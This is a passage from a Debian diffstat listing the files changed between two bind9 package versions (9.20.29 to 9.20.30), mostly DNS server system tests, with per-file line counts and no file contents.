Version in base suite: 9.20.26-1~deb13u1 Version in overlay suite: 9.20.29-1~deb13u1 Base version: bind9_9.20.29-1~deb13u1 Target version: bind9_9.20.30-1~deb13u1 Base file: /srv/ftp-master.debian.org/ftp/pool/main/b/bind9/bind9_9.20.29-1~deb13u1.dsc Target file: /srv/ftp-master.debian.org/policy/pool/main/b/bind9/bind9_9.20.30-1~deb13u1.dsc /srv/release.debian.org/tmp/2nqiShNlOr/bind9-9.20.30/bin/tests/system/checkconf/bad-embedded-null-02.conf |binary /srv/release.debian.org/tmp/2nqiShNlOr/bind9-9.20.30/bin/tests/system/checkconf/good-embedded-null-00.conf |binary /srv/release.debian.org/tmp/2nqiShNlOr/bind9-9.20.30/bin/tests/system/checkzone/zones/bad-outofspace-GL6141.raw |binary bind9-9.20.30/CONTRIBUTING.md | 2 bind9-9.20.30/ChangeLog | 1 bind9-9.20.30/NEWS | 1 bind9-9.20.30/bin/check/named-checkconf.c | 13 bind9-9.20.30/bin/check/named-checkzone.c | 20 bind9-9.20.30/bin/confgen/keygen.c | 6 bind9-9.20.30/bin/confgen/tsig-keygen.c | 7 bind9-9.20.30/bin/delv/delv.c | 11 bind9-9.20.30/bin/dig/dig.c | 29 bind9-9.20.30/bin/dig/dighost.c | 39 bind9-9.20.30/bin/dig/host.c | 9 bind9-9.20.30/bin/dig/nslookup.c | 98 bind9-9.20.30/bin/dnssec/dnssec-settime.c | 27 bind9-9.20.30/bin/dnssec/dnssec-signzone.c | 13 bind9-9.20.30/bin/dnssec/dnssectool.c | 10 bind9-9.20.30/bin/named/log.c | 2 bind9-9.20.30/bin/named/main.c | 90 bind9-9.20.30/bin/named/os.c | 2 bind9-9.20.30/bin/named/server.c | 59 bind9-9.20.30/bin/nsupdate/nsupdate.c | 41 bind9-9.20.30/bin/rndc/rndc.c | 12 bind9-9.20.30/bin/tests/convert_trs_to_junit.py | 13 bind9-9.20.30/bin/tests/system/COOKBOOK.md | 9 bind9-9.20.30/bin/tests/system/Makefile.am | 74 bind9-9.20.30/bin/tests/system/Makefile.in | 529 ++ bind9-9.20.30/bin/tests/system/README.md | 51 bind9-9.20.30/bin/tests/system/_common/zones.conf.j2 | 2 bind9-9.20.30/bin/tests/system/_common/zones/ns.partial.db.j2 | 2 bind9-9.20.30/bin/tests/system/_common/zones/soa.partial.db.j2 | 8 bind9-9.20.30/bin/tests/system/acl/tests_sh_acl.py | 2 bind9-9.20.30/bin/tests/system/additional/tests_https_alias.py | 2 bind9-9.20.30/bin/tests/system/additional/tests_sh_additional.py | 2 bind9-9.20.30/bin/tests/system/addzone/tests_rndc_deadlock.py | 2 bind9-9.20.30/bin/tests/system/addzone/tests_rndc_modzone_without_add.py | 2 bind9-9.20.30/bin/tests/system/addzone/tests_sh_addzone.py | 2 bind9-9.20.30/bin/tests/system/allow_query/tests_sh_allow_query.py | 2 bind9-9.20.30/bin/tests/system/allow_query_on/ns1/allowed.nil.db | 12 bind9-9.20.30/bin/tests/system/allow_query_on/ns1/denied.nil.db | 11 bind9-9.20.30/bin/tests/system/allow_query_on/ns1/named.conf.j2 | 44 bind9-9.20.30/bin/tests/system/allow_query_on/tests_allow_query_on.py | 29 bind9-9.20.30/bin/tests/system/ans.py | 22 bind9-9.20.30/bin/tests/system/auth/tests_sh_auth.py | 2 bind9-9.20.30/bin/tests/system/authsock.pl | 94 bind9-9.20.30/bin/tests/system/autosign/tests.sh | 26 bind9-9.20.30/bin/tests/system/autosign/tests_sh_autosign.py | 2 bind9-9.20.30/bin/tests/system/bailiwick/ans1/ans.py | 27 bind9-9.20.30/bin/tests/system/bailiwick/ans1/root.db | 24 bind9-9.20.30/bin/tests/system/bailiwick/ans1/zones/root.db | 24 bind9-9.20.30/bin/tests/system/bailiwick/ans2/ans.py | 31 bind9-9.20.30/bin/tests/system/bailiwick/ans2/victim.db | 17 bind9-9.20.30/bin/tests/system/bailiwick/ans2/zones/victim.db | 17 bind9-9.20.30/bin/tests/system/bailiwick/ans3/ans.py | 22 bind9-9.20.30/bin/tests/system/bailiwick/ans3/attacker.db | 17 bind9-9.20.30/bin/tests/system/bailiwick/ans3/victim.db | 16 bind9-9.20.30/bin/tests/system/bailiwick/ans3/zones/attacker.db | 17 bind9-9.20.30/bin/tests/system/bailiwick/ans3/zones/victim.db | 16 bind9-9.20.30/bin/tests/system/bailiwick/bailiwick_ans.py | 32 bind9-9.20.30/bin/tests/system/bailiwick/tests_bailiwick.py | 3 bind9-9.20.30/bin/tests/system/builtin/tests_sh_builtin.py | 2 bind9-9.20.30/bin/tests/system/cacheclean/tests.sh | 14 bind9-9.20.30/bin/tests/system/cacheclean/tests_sh_cacheclean.py | 2 bind9-9.20.30/bin/tests/system/camp/tests_sh_camp.py | 3 bind9-9.20.30/bin/tests/system/cap_glues/tests_cap_glues.py | 2 bind9-9.20.30/bin/tests/system/case/tests_sh_case.py | 2 bind9-9.20.30/bin/tests/system/catz/tests.sh | 288 + bind9-9.20.30/bin/tests/system/catz/tests_sh_catz.py | 2 bind9-9.20.30/bin/tests/system/cdnxdomain/tests_cdnxdomain.py | 14 bind9-9.20.30/bin/tests/system/cds/tests_sh_cds.py | 2 bind9-9.20.30/bin/tests/system/chain/ans3/ans.py | 44 bind9-9.20.30/bin/tests/system/chain/ans3/example.broken.db | 29 bind9-9.20.30/bin/tests/system/chain/ans3/example.dname.db | 24 bind9-9.20.30/bin/tests/system/chain/ans3/jeff.dname.db | 21 bind9-9.20.30/bin/tests/system/chain/ans3/zones/example.broken.db | 29 bind9-9.20.30/bin/tests/system/chain/ans3/zones/example.dname.db | 24 bind9-9.20.30/bin/tests/system/chain/ans3/zones/jeff.dname.db | 21 bind9-9.20.30/bin/tests/system/chain/ans4/ans.py | 34 bind9-9.20.30/bin/tests/system/chain/tests_sh_chain.py | 2 bind9-9.20.30/bin/tests/system/checkconf/check-root-ksk-2026.conf | 7 bind9-9.20.30/bin/tests/system/checkconf/tests.sh | 62 bind9-9.20.30/bin/tests/system/checkconf/tests_sh_checkconf.py | 2 bind9-9.20.30/bin/tests/system/checkconf_keys/tests_checkconf_keys.py | 2 bind9-9.20.30/bin/tests/system/checkds/tests_checkds.py | 5 bind9-9.20.30/bin/tests/system/checknames/tests_sh_checknames.py | 2 bind9-9.20.30/bin/tests/system/checkzone/tests.sh | 8 bind9-9.20.30/bin/tests/system/checkzone/tests_sh_checkzone.py | 2 bind9-9.20.30/bin/tests/system/cipher_suites/setup.sh | 5 bind9-9.20.30/bin/tests/system/cipher_suites/tests_cipher_suites.py | 2 bind9-9.20.30/bin/tests/system/class/tests_class_chaos.py | 3 bind9-9.20.30/bin/tests/system/class/tests_class_update.py | 2 bind9-9.20.30/bin/tests/system/cname_dname_negcache/ans2/ans.py | 53 bind9-9.20.30/bin/tests/system/cname_dname_negcache/common.py | 2 bind9-9.20.30/bin/tests/system/cname_dname_negcache/tests_cname_negcache.py | 2 bind9-9.20.30/bin/tests/system/cname_dname_negcache/tests_dname_negcache.py | 2 bind9-9.20.30/bin/tests/system/cname_recursion/ns2/internal.db | 1 bind9-9.20.30/bin/tests/system/cname_recursion/ns2/named.conf.j2 | 2 bind9-9.20.30/bin/tests/system/cname_recursion/tests_cname_recursion.py | 38 bind9-9.20.30/bin/tests/system/conf.sh | 23 bind9-9.20.30/bin/tests/system/conftest.py | 94 bind9-9.20.30/bin/tests/system/convert_junit_to_trs.py | 9 bind9-9.20.30/bin/tests/system/cookie/ans10/ans.py | 2 bind9-9.20.30/bin/tests/system/cookie/ans9/ans.py | 2 bind9-9.20.30/bin/tests/system/cookie/cookie_ans.py | 26 bind9-9.20.30/bin/tests/system/cookie/tests_sh_cookie.py | 3 bind9-9.20.30/bin/tests/system/cpu/tests_sh_cpu.py | 2 bind9-9.20.30/bin/tests/system/custom-test-driver | 2 bind9-9.20.30/bin/tests/system/database/tests_database.py | 3 bind9-9.20.30/bin/tests/system/dialup/tests_dialup_zone_transfer.py | 2 bind9-9.20.30/bin/tests/system/digdelv/ans4/ans.py | 5 bind9-9.20.30/bin/tests/system/digdelv/ans5/ans.py | 8 bind9-9.20.30/bin/tests/system/digdelv/ans6/ans.py | 10 bind9-9.20.30/bin/tests/system/digdelv/ans7/ans.py | 44 bind9-9.20.30/bin/tests/system/digdelv/common.py | 13 bind9-9.20.30/bin/tests/system/digdelv/conftest.py | 6 bind9-9.20.30/bin/tests/system/digdelv/tests_dig.py | 452 +- bind9-9.20.30/bin/tests/system/digdelv/tests_digdelv_delv.py | 112 bind9-9.20.30/bin/tests/system/digdelv/tests_mdig.py | 34 bind9-9.20.30/bin/tests/system/digdelv/tests_others.py | 14 bind9-9.20.30/bin/tests/system/dispatch/ans3/ans.py | 9 bind9-9.20.30/bin/tests/system/dispatch/ans4/ans.py | 8 bind9-9.20.30/bin/tests/system/dispatch/ans4/tcp-only.db | 15 bind9-9.20.30/bin/tests/system/dispatch/ans4/zones/tcp-only.db | 15 bind9-9.20.30/bin/tests/system/dispatch/tests_connreset.py | 11 bind9-9.20.30/bin/tests/system/dispatch/tests_tcponly.py | 9 bind9-9.20.30/bin/tests/system/ditch.pl | 94 bind9-9.20.30/bin/tests/system/dlzexternal/driver/driver.c | 4 bind9-9.20.30/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py | 2 bind9-9.20.30/bin/tests/system/dns64/tests.sh | 10 bind9-9.20.30/bin/tests/system/dns64/tests_sh_dns64.py | 2 bind9-9.20.30/bin/tests/system/dns64_dname/tests_dns64_dname.py | 6 bind9-9.20.30/bin/tests/system/dns_import_checker.py | 6 bind9-9.20.30/bin/tests/system/dnssec/ans10/ans.py | 17 bind9-9.20.30/bin/tests/system/dnssec/ans10/inprogress.db | 13 bind9-9.20.30/bin/tests/system/dnssec/ans10/nsec-rrsigs-stripped.db | 13 bind9-9.20.30/bin/tests/system/dnssec/ans10/zones/inprogress.db | 13 bind9-9.20.30/bin/tests/system/dnssec/ans10/zones/nsec-rrsigs-stripped.db | 13 bind9-9.20.30/bin/tests/system/dnssec/ns2/example.db.in | 3 bind9-9.20.30/bin/tests/system/dnssec/ns2/sign.sh | 17 bind9-9.20.30/bin/tests/system/dnssec/ns3/named.conf.j2 | 6 bind9-9.20.30/bin/tests/system/dnssec/ns3/sign.sh | 23 bind9-9.20.30/bin/tests/system/dnssec/ns9/named.conf.j2 | 33 bind9-9.20.30/bin/tests/system/dnssec/tests_keygen.py | 3 bind9-9.20.30/bin/tests/system/dnssec/tests_sh_dnssec.py | 23 bind9-9.20.30/bin/tests/system/dnssec/tests_trust_anchor.py | 42 bind9-9.20.30/bin/tests/system/dnssec/tests_validation.py | 14 bind9-9.20.30/bin/tests/system/dnssec_bypass/tests_bypass.py | 2 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/ans.py | 112 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/parent.db.in | 13 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/zones/insecure.parent.db | 13 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns3/named.conf.j2 | 5 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns3/trusted.conf.j2 | 1 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns4/named.conf.j2 | 30 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns4/trusted.conf.j2 | 6 bind9-9.20.30/bin/tests/system/dnssec_cname_response/tests_cname_rejection.py | 161 bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/ans.py | 9 bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/common.py | 9 bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/f025.py | 17 bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/f055.py | 17 bind9-9.20.30/bin/tests/system/dnssec_nsec3/tests_dnssec_nsec3_delegation.py | 10 bind9-9.20.30/bin/tests/system/dnssec_nsec3/tests_nsec3_wrong_zone.py | 10 bind9-9.20.30/bin/tests/system/dnssec_parent_rrsig/ans1/ans.py | 22 bind9-9.20.30/bin/tests/system/dnssec_parent_rrsig/tests_parent_rrsig.py | 10 bind9-9.20.30/bin/tests/system/dnssec_py/ans4/ans.py | 5 bind9-9.20.30/bin/tests/system/dnssec_py/ans4/delegationtrap_ans.py | 28 bind9-9.20.30/bin/tests/system/dnssec_py/ans4/noqname_mismatch.py | 28 bind9-9.20.30/bin/tests/system/dnssec_py/ans4/rrsig_labels_signer_ans.py | 36 bind9-9.20.30/bin/tests/system/dnssec_py/ans4/sibling_ds_ans.py | 24 bind9-9.20.30/bin/tests/system/dnssec_py/common.py | 5 bind9-9.20.30/bin/tests/system/dnssec_py/tests_delegationtrap.py | 14 bind9-9.20.30/bin/tests/system/dnssec_py/tests_dnskey_malformed.py | 9 bind9-9.20.30/bin/tests/system/dnssec_py/tests_dnskey_truncated_selfsigned.py | 2 bind9-9.20.30/bin/tests/system/dnssec_py/tests_findnoqname_mismatch.py | 13 bind9-9.20.30/bin/tests/system/dnssec_py/tests_mixed_ds.py | 2 bind9-9.20.30/bin/tests/system/dnssec_py/tests_nsec3_answer.py | 46 bind9-9.20.30/bin/tests/system/dnssec_py/tests_nsec3_iter_too_many.py | 2 bind9-9.20.30/bin/tests/system/dnssec_py/tests_rrsig_labels_signer.py | 18 bind9-9.20.30/bin/tests/system/dnssec_py/tests_rrsigs_extra_expired.py | 11 bind9-9.20.30/bin/tests/system/dnssec_py/tests_sibling_ds.py | 15 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/ans.py | 82 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/common.py | 102 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/f043.py | 80 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/f045.py | 120 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/child.f045.test.db.j2.manual | 3 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/f043.test.db.j2.manual | 5 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/f045.test.db.j2.manual | 4 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ns2/named.conf.j2 | 11 bind9-9.20.30/bin/tests/system/dnssec_wildcard/tests_dnssec_wildcard_additional.py | 59 bind9-9.20.30/bin/tests/system/dnssec_wildcard/tests_replayed_parent_wildcard.py | 56 bind9-9.20.30/bin/tests/system/dnstap/tests_dnstap.py | 4 bind9-9.20.30/bin/tests/system/dnstap/tests_sh_dnstap.py | 2 bind9-9.20.30/bin/tests/system/dnstap/ydump.py | 2 bind9-9.20.30/bin/tests/system/docstring_format_checker.py | 78 bind9-9.20.30/bin/tests/system/doth/README.curl | 31 bind9-9.20.30/bin/tests/system/doth/conftest.py | 4 bind9-9.20.30/bin/tests/system/doth/example.axfr.good | 2 bind9-9.20.30/bin/tests/system/doth/example8.axfr.good | 2 bind9-9.20.30/bin/tests/system/doth/get_openssl_version.py | 4 bind9-9.20.30/bin/tests/system/doth/ns1/named.env | 2 bind9-9.20.30/bin/tests/system/doth/ns2/named.env | 2 bind9-9.20.30/bin/tests/system/doth/stress_http_quota.py | 4 bind9-9.20.30/bin/tests/system/doth/tests.sh | 43 bind9-9.20.30/bin/tests/system/doth/tests_cache_control.py | 48 bind9-9.20.30/bin/tests/system/doth/tests_gnutls.py | 5 bind9-9.20.30/bin/tests/system/doth/tests_malicious.py | 2 bind9-9.20.30/bin/tests/system/doth/tests_sh_doth.py | 4 bind9-9.20.30/bin/tests/system/doth/tests_sslyze.py | 5 bind9-9.20.30/bin/tests/system/dsdigest/tests_dsdigest.py | 16 bind9-9.20.30/bin/tests/system/dyndb/tests.sh | 4 bind9-9.20.30/bin/tests/system/dyndb/tests_sh_dyndb.py | 2 bind9-9.20.30/bin/tests/system/ecdsa/tests_ecdsa.py | 2 bind9-9.20.30/bin/tests/system/eddsa/tests_sh_eddsa.py | 2 bind9-9.20.30/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py | 2 bind9-9.20.30/bin/tests/system/emptyzones/tests_emptyzones.py | 2 bind9-9.20.30/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py | 2 bind9-9.20.30/bin/tests/system/expiredglue/tests_expiredglue.py | 2 bind9-9.20.30/bin/tests/system/fetchlimit/ans4/ans.py | 26 bind9-9.20.30/bin/tests/system/fetchlimit/tests.sh | 2 bind9-9.20.30/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py | 12 bind9-9.20.30/bin/tests/system/file_header_checker.py | 85 bind9-9.20.30/bin/tests/system/filters/ans6/ans.py | 56 bind9-9.20.30/bin/tests/system/filters/common.py | 3 bind9-9.20.30/bin/tests/system/filters/tests_filter_a_dns64.py | 2 bind9-9.20.30/bin/tests/system/filters/tests_filter_a_v4.py | 2 bind9-9.20.30/bin/tests/system/filters/tests_filter_a_v6.py | 2 bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_dns64.py | 2 bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_v4.py | 2 bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_v6.py | 2 bind9-9.20.30/bin/tests/system/filters/tests_filter_checkconf.py | 2 bind9-9.20.30/bin/tests/system/formerr/tests_formerr.py | 87 bind9-9.20.30/bin/tests/system/forward/ans11/ans.py | 36 bind9-9.20.30/bin/tests/system/forward/ans11/attackSecureDomain.net3.db | 15 bind9-9.20.30/bin/tests/system/forward/ans11/zones/attackSecureDomain.net3.db | 15 bind9-9.20.30/bin/tests/system/forward/ans6/ans.py | 48 bind9-9.20.30/bin/tests/system/forward/tests_sh_forward.py | 3 bind9-9.20.30/bin/tests/system/fromhex.pl | 47 bind9-9.20.30/bin/tests/system/fwdfirst/ans1/ans.py | 22 bind9-9.20.30/bin/tests/system/fwdfirst/ans1/hack.db | 7 bind9-9.20.30/bin/tests/system/fwdfirst/ans1/root.db | 8 bind9-9.20.30/bin/tests/system/fwdfirst/ans1/sibling.hack.db | 5 bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/hack.db | 7 bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/root.db | 8 bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/sibling.hack.db | 5 bind9-9.20.30/bin/tests/system/fwdfirst/ans2/ans.py | 30 bind9-9.20.30/bin/tests/system/fwdfirst/ans3/ans.py | 31 bind9-9.20.30/bin/tests/system/fwdfirst/tests_fwdfirst.py | 2 bind9-9.20.30/bin/tests/system/genzone.sh | 2 bind9-9.20.30/bin/tests/system/geoip2/tests_sh_geoip2.py | 2 bind9-9.20.30/bin/tests/system/glue/tests_glue.py | 11 bind9-9.20.30/bin/tests/system/hooks/tests_async_plugin.py | 2 bind9-9.20.30/bin/tests/system/host/tests_sh_host.py | 2 bind9-9.20.30/bin/tests/system/idna/tests_sh_idna.py | 2 bind9-9.20.30/bin/tests/system/ifconfig.sh.in | 4 bind9-9.20.30/bin/tests/system/include_multiplecfg/tests_include_multiplecfg.py | 6 bind9-9.20.30/bin/tests/system/inline/tests.sh | 14 bind9-9.20.30/bin/tests/system/inline/tests_inline_incremental_updates.py | 2 bind9-9.20.30/bin/tests/system/inline/tests_sh_inline.py | 2 bind9-9.20.30/bin/tests/system/inline/tests_signed_zone_files.py | 2 bind9-9.20.30/bin/tests/system/integrity/tests_sh_integrity.py | 2 bind9-9.20.30/bin/tests/system/isctest/__init__.py | 2 bind9-9.20.30/bin/tests/system/isctest/__main__.py | 2 bind9-9.20.30/bin/tests/system/isctest/algorithms.py | 28 bind9-9.20.30/bin/tests/system/isctest/asyncserver.py | 1871 ---------- bind9-9.20.30/bin/tests/system/isctest/asyncserver/__init__.py | 1197 ++++++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/actions.py | 134 bind9-9.20.30/bin/tests/system/isctest/asyncserver/commands.py | 86 bind9-9.20.30/bin/tests/system/isctest/asyncserver/context.py | 178 bind9-9.20.30/bin/tests/system/isctest/asyncserver/dnssec.py | 273 + bind9-9.20.30/bin/tests/system/isctest/asyncserver/handlers.py | 426 ++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/matchers.py | 330 + bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/ans.py | 44 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/example.db | 18 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec.test.db.j2.manual | 12 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec3.test.db.j2.manual | 12 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/optout.test.db.j2.manual | 24 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/salt.test.db.j2.manual | 8 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ns2/named.conf.j2 | 51 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_asyncserver_dnssec.py | 130 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_empty_non_terminal.py | 255 + bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/ans.py | 44 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/one.db | 4 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/two.db | 4 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/tests_duplicate_root_zone.py | 17 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/ans.py | 92 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/zones/response.test.db | 8 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/tests_response_handling.py | 88 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans1/ans.py | 44 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans1/zones/example.db | 4 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans2/ans.py | 41 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/tests_transport.py | 112 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/ans.py | 44 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/zones/example.db | 7 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/tests_zone_data.py | 42 bind9-9.20.30/bin/tests/system/isctest/check.py | 47 bind9-9.20.30/bin/tests/system/isctest/hypothesis/__init__.py | 2 bind9-9.20.30/bin/tests/system/isctest/hypothesis/settings.py | 2 bind9-9.20.30/bin/tests/system/isctest/hypothesis/strategies.py | 4 bind9-9.20.30/bin/tests/system/isctest/instance.py | 28 bind9-9.20.30/bin/tests/system/isctest/kasp.py | 84 bind9-9.20.30/bin/tests/system/isctest/log/__init__.py | 2 bind9-9.20.30/bin/tests/system/isctest/log/basic.py | 6 bind9-9.20.30/bin/tests/system/isctest/log/watchlog.py | 2 bind9-9.20.30/bin/tests/system/isctest/mark.py | 34 bind9-9.20.30/bin/tests/system/isctest/name.py | 4 bind9-9.20.30/bin/tests/system/isctest/query.py | 6 bind9-9.20.30/bin/tests/system/isctest/rndc.py | 2 bind9-9.20.30/bin/tests/system/isctest/run.py | 24 bind9-9.20.30/bin/tests/system/isctest/template.py | 19 bind9-9.20.30/bin/tests/system/isctest/tests/tests_template.py | 91 bind9-9.20.30/bin/tests/system/isctest/tests/tests_zone_analyzer.py | 228 + bind9-9.20.30/bin/tests/system/isctest/text.py | 4 bind9-9.20.30/bin/tests/system/isctest/tools/__init__.py | 25 bind9-9.20.30/bin/tests/system/isctest/tools/authsock.py | 158 bind9-9.20.30/bin/tests/system/isctest/tools/ditch.py | 89 bind9-9.20.30/bin/tests/system/isctest/tools/pipequeries.py | 83 bind9-9.20.30/bin/tests/system/isctest/tools/rawzone.py | 70 bind9-9.20.30/bin/tests/system/isctest/tools/testsock.py | 106 bind9-9.20.30/bin/tests/system/isctest/transfer.py | 5 bind9-9.20.30/bin/tests/system/isctest/util.py | 6 bind9-9.20.30/bin/tests/system/isctest/vars/__init__.py | 6 bind9-9.20.30/bin/tests/system/isctest/vars/algorithms.py | 31 bind9-9.20.30/bin/tests/system/isctest/vars/all.py | 8 bind9-9.20.30/bin/tests/system/isctest/vars/autoconf.py | 2 bind9-9.20.30/bin/tests/system/isctest/vars/basic.py | 3 bind9-9.20.30/bin/tests/system/isctest/vars/dirs.py | 2 bind9-9.20.30/bin/tests/system/isctest/vars/features.py | 6 bind9-9.20.30/bin/tests/system/isctest/vars/openssl.py | 2 bind9-9.20.30/bin/tests/system/isctest/vars/ports.py | 2 bind9-9.20.30/bin/tests/system/isctest/zone.py | 81 bind9-9.20.30/bin/tests/system/ixfr/ans2/ans.py | 35 bind9-9.20.30/bin/tests/system/ixfr/tests_sh_ixfr.py | 3 bind9-9.20.30/bin/tests/system/ixfr_nonminimal/ans2/ans.py | 36 bind9-9.20.30/bin/tests/system/ixfr_nonminimal/ans4/ans.py | 36 bind9-9.20.30/bin/tests/system/ixfr_nonminimal/tests_sh_ixfr_nonminimal.py | 3 bind9-9.20.30/bin/tests/system/journal/setup.sh | 47 bind9-9.20.30/bin/tests/system/journal/tests_sh_journal.py | 43 bind9-9.20.30/bin/tests/system/kasp/tests_kasp.py | 2 bind9-9.20.30/bin/tests/system/keepalive/tests_keepalive.py | 2 bind9-9.20.30/bin/tests/system/keyfromlabel/tests_keyfromlabel.py | 2 bind9-9.20.30/bin/tests/system/ksr/tests_ksr.py | 16 bind9-9.20.30/bin/tests/system/legacy/tests_sh_legacy.py | 2 bind9-9.20.30/bin/tests/system/limits/tests_limits.py | 2 bind9-9.20.30/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py | 2 bind9-9.20.30/bin/tests/system/masterfile/tests_masterfile.py | 26 bind9-9.20.30/bin/tests/system/masterformat/tests.sh | 41 bind9-9.20.30/bin/tests/system/masterformat/tests_sh_masterformat.py | 2 bind9-9.20.30/bin/tests/system/metadata/tests_sh_metadata.py | 2 bind9-9.20.30/bin/tests/system/migrate2kasp/tests_migrate2kasp.py | 2 bind9-9.20.30/bin/tests/system/mirror/tests_sh_mirror.py | 2 bind9-9.20.30/bin/tests/system/mirror_root_zone/tests_mirror_root_zone.py | 2 bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/ans.py | 20 bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/example.db | 16 bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/zones/example.db | 16 bind9-9.20.30/bin/tests/system/mismatchtcp/tests_mismatchtcp.py | 3 bind9-9.20.30/bin/tests/system/mkeys/tests.sh | 4 bind9-9.20.30/bin/tests/system/mkeys/tests_sh_mkeys.py | 2 bind9-9.20.30/bin/tests/system/multisigner/tests_multisigner.py | 2 bind9-9.20.30/bin/tests/system/names/tests_names.py | 2 bind9-9.20.30/bin/tests/system/notify/tests_sh_notify.py | 2 bind9-9.20.30/bin/tests/system/nsec/tests_excessive_rrsigs.py | 4 bind9-9.20.30/bin/tests/system/nsec3/ans7/ans.py | 646 +-- bind9-9.20.30/bin/tests/system/nsec3/common.py | 4 bind9-9.20.30/bin/tests/system/nsec3/ns3/named-fips.conf.j2 | 10 bind9-9.20.30/bin/tests/system/nsec3/ns3/setup.sh | 3 bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_change.py | 2 bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_initial.py | 54 bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_length.py | 5 bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_reconfig.py | 2 bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_reload.py | 2 bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_restart.py | 2 bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_retransfer.py | 2 bind9-9.20.30/bin/tests/system/nsec3_impersonation/ans1/ans.py | 25 bind9-9.20.30/bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py | 5 bind9-9.20.30/bin/tests/system/nsec_grandparent/ans1/ans.py | 22 bind9-9.20.30/bin/tests/system/nsec_grandparent/tests_nsec_grandparent.py | 22 bind9-9.20.30/bin/tests/system/nsec_ixfr/tests_nsec_ixfr.py | 13 bind9-9.20.30/bin/tests/system/nsec_piggyback/ans1/ans.py | 22 bind9-9.20.30/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py | 10 bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/ans.py | 9 bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/common.py | 9 bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/f004.py | 12 bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/f023.py | 17 bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_child_next.py | 10 bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_exact_nodata.py | 5 bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_pending_cd.py | 5 bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_selfloop.py | 10 bind9-9.20.30/bin/tests/system/nsec_wildcard_wrong_zone/ans1/ans.py | 22 bind9-9.20.30/bin/tests/system/nsec_wildcard_wrong_zone/tests_nsec_wildcard_wrong_zone.py | 10 bind9-9.20.30/bin/tests/system/nslookup/tests_sh_nslookup.py | 2 bind9-9.20.30/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py | 2 bind9-9.20.30/bin/tests/system/nsupdate/ans11/ans.py | 141 